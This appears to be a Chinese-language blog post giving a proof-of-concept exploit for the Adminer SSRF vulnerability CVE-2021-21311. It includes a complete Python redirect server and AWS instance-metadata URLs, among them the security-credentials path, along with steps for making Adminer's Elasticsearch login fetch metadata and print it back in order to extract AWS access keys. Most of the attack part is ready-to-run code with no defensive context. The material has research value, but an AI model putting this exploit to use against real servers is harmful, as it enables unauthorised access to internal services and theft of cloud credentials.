Adminer SSRF(CVE-2021-21311)
使用管理员发送任意 get 请求并从内部服务器检索 JSON 响应的方法。可以从 AWS 元数据服务中提取 AWS 访问密钥。
攻击步骤:
首先,启动一个 python 服务器,该服务器侦听传入的连接并以 301 重定向响应到任意选择的主机。在此示例情况下,重定向指向 AWS 元数据服务:
http://169.254.169.254/latest/meta-data/instance-id
然后,在 Adminer 中使用 Elasticsearch 登录模块“登录”运行 python 代码的服务器,这导致 Adminer 从包含服务器的 AWS 实例 ID 的元数据服务器打印 json 响应。
重定向请求的 python 脚本:
#!/usr/bin/env python
import SimpleHTTPServer
import SocketServer
import sys
import argparse
def redirect_handler_factory(url):
"""
Returns a request handler class that redirects to supplied `url`
"""
class RedirectHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(301)
self.send_header('Location', url)
self.end_headers()
def do_POST(self):
self.send_response(301)
self.send_header('Location', url)
self.end_headers()
return RedirectHandler
def main():
parser = argparse.ArgumentParser(description='HTTP redirect server')
parser.add_argument('--port', '-p', action="store", type=int, default=80, help='port to listen on')
parser.add_argument('--ip', '-i', action="store", default="", help='host interface to listen on')
parser.add_argument('redirect_url', action="store")
myargs = parser.parse_args()
redirect_url = myargs.redirect_url
port = myargs.port
host = myargs.ip
redirectHandler = redirect_handler_factory(redirect_url)
handler = SocketServer.TCPServer((host, port), redirectHandler)
print("serving at port %s" % port)
handler.serve_forever()
if __name__ == "__main__":
main()
http://169.254.169.254/latest/meta-data/iam/security-credentials/ //列出服务器的可用角色。
ref:
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
上一篇: 如何设计实现无缝轮播
下一篇: 正交试验设计
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论